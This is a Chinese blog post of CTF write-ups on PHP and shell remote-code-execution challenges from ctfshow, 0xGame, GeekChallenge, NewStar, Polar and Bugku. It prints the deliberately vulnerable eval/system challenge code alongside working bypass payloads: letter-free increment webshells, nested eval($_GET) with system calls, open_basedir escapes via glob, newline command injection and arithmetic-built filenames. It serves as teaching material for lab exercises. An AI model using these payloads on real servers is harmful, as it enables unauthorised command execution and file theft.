过滤了字母和数字,得要无参rce
这里又将数字过滤了,参考
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)

这里不知道怎么做,参考的时候网上的做法

大概的思路是,总结一下:
shell下可以利用.来执行任意脚本
可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
写一个post上传表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://11a8783c-659e-4028-ab16-40fb589ef16d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <!--目标网址-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

如下图实例
在这里插入图片描述
使用bp进行抓包
在这里插入图片描述

在这里插入图片描述
[ ]这个可以参考上面p神的文章

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

为什么中间要空一行,才可以输出?
在这里插入图片描述

在这里插入图片描述

web57 $(( ))与整数运算构造数字

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

没有过滤左右小括号,和$

这里注释有提示flag的位置所在
根据这行代码

system("cat ".$c.".php");

可以知道,这个需要我们构造36,但是数字是被过滤的
参考wp
这里利用 $(( ))与整数运算

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。
    通俗地讲,就是将数学运算表达式放在((和))之间。
 
    表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。
 
    可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。
 
    可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。
 
    注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
$(())是0
 
$((~$(())))是-1
 
$(($((~$(())))$((~$(())))))是-2
 
这里要构造36,也就是要先构造出-37 然后取反
 
-37是37个$((~$(())))相加
 
最终payload
?c=$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

在这里插入图片描述

在这里插入图片描述

web58 文件读取的多种函数利用

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

可以直接eval命令执行
那要做的就只是找到flag回显即可
这里使用相关的文件读取的函数有

show_source()
file_get_contents()
highlight_file()
fgets()
file()
readfile()

payload

#payload1
c=highlight_file("flag.php");

#payload2
c=show_source('flag.php');

#payload3
c=$a=fopen("flag.php","r");while($b=fgets($a)){echo $b;}
 #payload4
c=show_source(next(array_reverse(scandir(current(localeconv())))));
 #payload4=5
c=echo file_get_contents('flag.php');
 #payload4=6
c=print_r(file('flag.php'));

web59 文件读取函数

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

注意post传参的时候加上分号,解题的方法和上一题可以用一样的payload,这里应该是有过滤一些函数的,但是没有显示出来。

web60 文件读取绕过思路

这里过滤的函数会更多一点

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

//通用的思路
c=show_source("flag.php");
 
//比较sao一点的思路
 
#通过复制,重命名读取php文件内容  
c=copy("flag.php","flag.txt");         
c=rename("flag.php","flag.txt");
#访问flag.txt 
 
//之前payload也还能用
c=show_source(next(array_reverse(scandir(current(localeconv())))));
c=show_source('flag.php');
c=highlight_file('flag.php');

这里尝试比较sao一点的思路,复制文件并且修改文件名,来达到绕过的效果
在这里插入图片描述

web61 文件读取函数

这几题的代码看起来是一样的,但是有过滤挺多函数的,之前的一样方法就执行了没有反应

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}


var_dump() 函数用于输出变量的相关信息。
get_defined_vars() 函数返回由所有已定义变量所组成的数组。
#payload1
c=include('flag.php');var_dump(get_defined_vars());
 #payload2
c=show_source(next(array_reverse(scandir(current(localeconv())))));
#payload3
c=highlight_file('flag.php');
#payload4
c=show_source('flag.php');

web65 文件读取函数

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

payload

c=include('flag.php');var_dump(get_defined_vars());
 
c=show_source(next(array_reverse(scandir(current(localeconv())))));

c=highlight_file('flag.php');

c=show_source('flag.php');
 

web66 文件读取函数

这里flag的位置有改变,不是在当前目录下,而是在根目录下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

使用的payload

c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
c=include('/flag.txt');var_dump(get_defined_vars());

web67 文件读取函数

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}


payload

c=highlight_file('/flag.txt');
c=include('/flag.txt');var_dump(get_defined_vars());

web68 include()函数

题目

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

意思就是禁用了higlight_file()函数
使用的payload

c=var_dump(scandir("/"));  //打印根目录下的东西,目的是要知道flag文件的位置
c=include('/flag.txt');  //回显出flag

web69 原生类echo自动触发,回显数据

题目内容依然是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

虽然表面只是禁用了这个函数,但是经过测试 var_dump()函数也被禁用了
参考别的师傅的exp
通过返回指定的文件名,利用foreach进行打印内容,然后利用php的原生类,触发string函数。

# 多种遍历数组姿势
# 1
c=$a=scandir("/");foreach($a as $value){echo $value."---";}
# 2 glob() 函数返回匹配指定模式的文件名或目录。返回的是数组
c=$a=glob("/*");foreach($a as $value){echo $value."   ";}
# 3 
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
//这里的关键函数DirectoryIterator是PHP的原生类

web70

exp上同

web71 exit()函数强制退出

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

不了解这两个函数
ob_get_contents() 返回输出缓冲区的内容
ob_end_clean() 清空(擦除)缓冲区并关闭输出缓冲

这u但代码执行的大概流程是 传参–命令执行–执行结果存在$s中–清空输出缓冲区–对$s进行过滤

虽然清空输出缓冲区执行了, 这里要做的就是把代码终止在清空输出缓冲区之前使用exit()强制退出,这样数据就不会被清除了

payload

c=include('/flag.txt');exit();

web72 glob伪协议绕过open_basedir限制

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

看到报错信息
在这里插入图片描述

可以知道存在open_basedir函数限制
PHP的open_basedir是一个安全机制,用于限制在PHP脚本中可以打开的文件或目录的范围,从而防止访问非法或未授权的文件系统资源。

这里参考别的师傅的方法
使用bp进行post发包

c=?><?php $a=new DirectoryIterator("glob:///*");//注意?>这个与前面的闭合,这个思想是很重要的
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>

在这里插入图片描述

解释一下glob伪协议
在这里插入图片描述
…这个还不会做,留给后面遇到其他题目的时候才看。。

web73

这里还是要读取一下有哪些文件

c=$a=scandir("/");foreach($a as $key=>$value){echo $key."=>".$value;}exit();

在这里插入图片描述

第二种读取目录的方法
利用php原有的原生类进行+glob协议读取文件

c=?><?php $a=new DirectoryIterator("glob:///*");//注意?>这个与前面的闭合,这个思想是很重要的
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>

在这里插入图片描述

然后读取文件
在这里插入图片描述

web74

在这里插入图片描述
因为过滤了foreach这个关键字,所以上面这个exp使用不了

c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>exit();

在这里插入图片描述
经过测试发现,还过滤了
?>
所以

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
?>exit();

换为

c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit();

在这里插入图片描述

include('/flagx.txt');exit();

在这里插入图片描述

2023 0xGame [Week 1] ping 空格绕过+编码绕过+管道符+bash命令执行

 <?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?> 

代码审计一下,发现是对ip格式进行匹配了的,而且观察上面的代码最后执行ping命令的时候,调用了system函数

如果按照我下面的思路使用管道符 | 的话,带不出数据来
在这里插入图片描述
这里之所以带不出数据来,就是因为preg_match的作用,所以,这里因为没有匹配换行,所以可以用换行,进行绕过
/n,%0a

在这里插入图片描述
bash是执行远程命令。

这个思路也是挺骚的,可以学习一下,这些几个绕过思想

空格绕过+编码绕过+管道符+bash命令执行

2023GeekChallenge Pupyy_rce

 <?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
} Array ( [0] => . [1] => .. [2] => error.log [3] => fl@g.php [4] => genshin01.txt [5] => index.php [6] => tiangou01.txt [7] => tiangou02.txt ) 

上面的正则函数就是匹配无参函数

payload

https://nv1dw9jfg2lk7pika1u7pf538.node.game.sycsec.com/?var=print_r(scandir(pos(localeconv())));

这里要知道php中的一个随机函数

PHP array_flip() 函数
反转数组中的键名和对应关联的键值:

array_rand
从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。 它使用了伪随机数产生算法,所以不适合密码学场景, 这里返回的是键,而不是键值,这就是这一题为什么要用上面这个函数的原因了

payload

https://j51dl5t55yua42099bxwahih8.node.game.sycsec.com/?var=show_source(array_rand(array_flip(scandir(pos(localeconv())))));

回显

 <?php
highlight_file(__FILE__);
header('Content-Type: text/html; charset=utf-8');
error_reporting(0);
include(flag.php);
//当前目录下有好康的😋
if (isset($_GET['var']) && $_GET['var']) {
    $var = $_GET['var'];
   
    if (!preg_match("/env|var|session|header/i", $var,$match)) {
        if (';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $var)){
        eval($_GET['var']);
        }
        else die("WAF!!");
    } else{
        die("PLZ DONT HCAK ME😅");
    }
} SYC{opDI8AURmaub6hUIh6}

newstart2023 R!C!E!

考点:md5碰撞、PHP特殊符号传参、PHP命令执行、黑名单绕过

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
} 

这里主要就是这个md5判断,要求我们输入一个字符串经过加密后的结果的前面六位符合上面的判断

python脚本

import hashlib
def crack(pre):
    for i in range(0,999999):
        if (hashlib.md5(str(i).encode('utf-8')).hexdigest())[0:6]==str(pre):
            print(i)
            break

crack("c4d038")

上面代码的一些理解

digest()与hexdigest()区别

  • hash.digest() :返回摘要,作为二进制数据字符串值
  • hash.hexdigest():返回摘要,作为十六进制数据字符串值

这里还有一个考点就是php的变量的命名规则转换

 $code=$_POST['e_v.a.l'];

这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次。故直接传相当于传的变量名为 e_v_a.l 。具体转换可以参考下图:

php中变量含有下划线是,后面的空格和点都会自动转换为下划线,为了避免传参不了我们想要的数据,我们可以先用

[  代替  _     因为[ 对于_ 可以是等效的
这样就可以避免后面的点进行自动转换

payload

password=114514&e[v.a.l=eval($_GET[1]);

在这里插入图片描述

HUBUCTF 2022 新生赛]HowToGetShell 无字母自增rce绕过

题目源码

 <?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){ //不能含有字母getshell
    die("invalid input!");
}
eval($mess);

异或在这里用不了,不知道为什么
在这里插入图片描述

试一下取反绕过
也没有作用
在这里插入图片描述

自增绕过可以

mess=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo();

在这里插入图片描述
在这里插入图片描述

polar靶场简单rce 变量换元

源码


<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
} 

就是简单的替换,只是表层的检测,没有循环检测

http://c55da9ce-605e-4e91-acfc-1c7b46f4edd7.www.polarctf.com:8090/?sys=eval($_GET[1]);&1=system('tac /flag  /');phpinfo();
post:
yyds=666

polctf_写shell base64编码解码绕过

 <?php
/*

PolarD&N CTF

*/

highlight_file(__FILE__);

file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?> 

要是存在文件包含漏洞的话,就可以利用php伪协议的decode进行解析

在这里插入图片描述
参考文章:

https://blog.csdn.net/m0_75178803/article/details/130042854

相关的例题:

https://blog.csdn.net/qq_61839115/article/details/132012049

但是这里不存在文件包含

哎呀,这个file_put_contents也是存在文件包含的啊

注意空格,八个一组

根据这些资料,利用php伪协议+base64进行写入,通过编码在解码的方式,乱码后,达到绕过起前面的php语句
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

bugku[miniLCTF-2020签到提 echo命令执行的传参

题目
在这里插入图片描述
根目录的flag是什么内容都没有的

下面这个readflag是可执行程序

在这里插入图片描述
因为这里还有个random,所以得要爆破
在这里插入图片描述
echo -e “”

表示可以把 \n进行转换输入两个y表示确认的意思

然后根据上面的random,是个随机数进行猜测。这里我们可以使用bp进行爆破
在这里插入图片描述
找到长度最大的就可以了看到flag了

  • 41
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值